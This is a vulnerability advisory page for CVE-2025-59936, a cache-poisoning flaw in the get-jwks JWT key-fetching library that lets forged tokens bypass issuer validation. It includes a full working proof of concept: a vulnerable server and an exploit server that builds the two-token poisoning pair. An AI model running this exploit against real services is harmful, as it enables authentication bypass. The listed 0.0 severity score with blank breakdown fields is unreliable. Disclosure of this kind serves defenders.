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HomeCVEsCVE-2025-59936

CVE-2025-59936

Published: February 5, 2026
Last updated:22 hours ago (February 5, 2026)
Exploit: NoZero-day: NoPatch: YesTrend: Neutral
TL;DR
Updated February 5, 2026

CVE-2025-59936 is a low severity vulnerability with a CVSS score of 0.0. No known exploits currently, and patches are available.

Key Points
  • 1Low severity (CVSS 0.0/10)
  • 2No known public exploits
  • 3Vendor patches are available
Severity Scores
CVSS v30.0
CVSS v20.0
Priority Score0.0
EPSS Score0.0
None
Exploitation LikelihoodMinimal
0.00%EPSS

Very low probability of exploitation

Monitor and patch as resources allow
0.00%
EPSS
0.0
CVSS
No
Exploit
Yes
Patch
Low Priority
no major risk factors

EPSS predicts the probability of exploitation in the next 30 days based on real-world threat data, complementing CVSS severity scores with actual risk assessment.

Description

Summary

A vulnerability in get-jwks can lead to cache poisoning in the JWKS key-fetching mechanism.

Details

When the iss (issuer) claim is validated only after keys are retrieved from the cache, it is possible for cached keys from an unexpected issuer to be reused, resulting in a bypass of issuer validation. This design flaw enables a potential attack where a malicious actor crafts a pair of JWTs, the first one ensuring that a chosen public key is fetched and stored in the shared JWKS cache, and the second one leveraging that cached key to pass signature validation for a targeted iss value.

The vulnerability will work only if the iss validation is done after the use of get-jwks for keys retrieval, which usually is the common case.

PoC

Server code:

const express = require('express')
const buildJwks = require('get-jwks')
const { createVerifier } = require('fast-jwt')

const jwks = buildJwks({ providerDiscovery: true });
const keyFetcher = async (jwt) =>
    jwks.getPublicKey({
        kid: jwt.header.kid,
        alg: jwt.header.alg,
        domain: jwt.payload.iss
    });

const jwtVerifier = createVerifier({
    key: keyFetcher,
    allowedIss: 'https://example.com',
});

const app = express();
const port = 3000;

app.use(express.json());

async function verifyToken(req, res, next) {
  const headerAuth = req.headers.authorization.split(' ')
  let token = '';
  if (headerAuth.length > 1) {
    token = headerAuth[1];
  }

  const payload = await jwtVerifier(token);

  req.decoded = payload;
  next();
}

// Endpoint to check if you are auth or not
app.get('/auth', verifyToken, (req, res) => {
  res.json(req.decoded);
});

app.listen(port, () => {
  console.log(`Server is running on port ${port}`);
});

Exploit server that generates the JWT pair and send the public RSA key to the victim server:

const { generateKeyPairSync } = require('crypto');
const express = require('express');
const pem2jwk = require('pem2jwk');
const jwt = require('jsonwebtoken');

const app = express();
const port = 3001;
const host = `http://localhost:${port}`;
const target_iss = `https://example.com`;

const { publicKey, privateKey } = generateKeyPairSync("rsa",
    {   modulusLength: 4096,
        publicKeyEncoding: { type: 'pkcs1', format: 'pem' },
        privateKeyEncoding: { type: 'pkcs1', format: 'pem' },
    },
);
const jwk = pem2jwk(publicKey);

app.use(express.json());

// Endpoint to create cache poisoning token
app.post('/create-token-1', (req, res) => {
  const token = jwt.sign({ ...req.body, iss: `${host}/?:${target_iss}`,  }, privateKey, { 
    algorithm: 'RS256', 
    header: {
        kid: "testkid", 
     } });
  res.send(token);
});

// Endpoint to create a token with valid iss
app.post('/create-token-2', (req, res) => {
    const token = jwt.sign({ ...req.body, iss: target_iss ,  }, privateKey, { algorithm: 'RS256', header: {
      kid: `testkid:${host}/?`, 
    } });
    res.send(token);
  });

app.get('/.well-known/jwks.json', (req, res) => {
    return res.json({
        keys: [{
            ...jwk,
            kid: 'testkid',
            alg: 'RS256',
            use: 'sig',
        }]
    });
})

app.use((req, res) => {
    return res.json({
        "issuer": host,
        "jwks_uri": host + '/.well-known/jwks.json'
    });
});

app.listen(port, () => {
  console.log(`Server is running on port ${port}`);
});

The first JWT token will create a cache entry with the chosen public key and have the following format:

RS256:testkid:http://localhost:3001/?:https://example.com

The second JWT has a valid iss, but will create the exact same cache key as the one before, leading to signature validation with the chosen public key, bypassing any future iss validations:

RS256:testkid:http://localhost:3001/?:https://example.com

Impact

Applications relying on get-jwks for key retrieval, even with iss validation post-fetching, allows attackers to sign arbitrary payloads which will be accepted by the verifiers used.

Solution

Escape each component used in the cache key, so delimiter collisions are impossible.

https://github.com/nearform/get-jwks/blob/57801368adf391a32040854863d81748d8ff97ed/src/get-jwks.js#L76

CVSS v3 Breakdown
Attack Vector:-
Attack Complexity:-
Privileges Required:-
User Interaction:-
Scope:-
Confidentiality:-
Integrity:-
Availability:-
Patch References
Github.com
Trend Analysis
Neutral
Advisories
GitHub AdvisoryNVD
Cite This Page
APA Format
Strobes VI. (2026). CVE-2025-59936 - CVE Details and Analysis. Strobes VI. Retrieved February 6, 2026, from https://vi.strobes.co/cve/CVE-2025-59936
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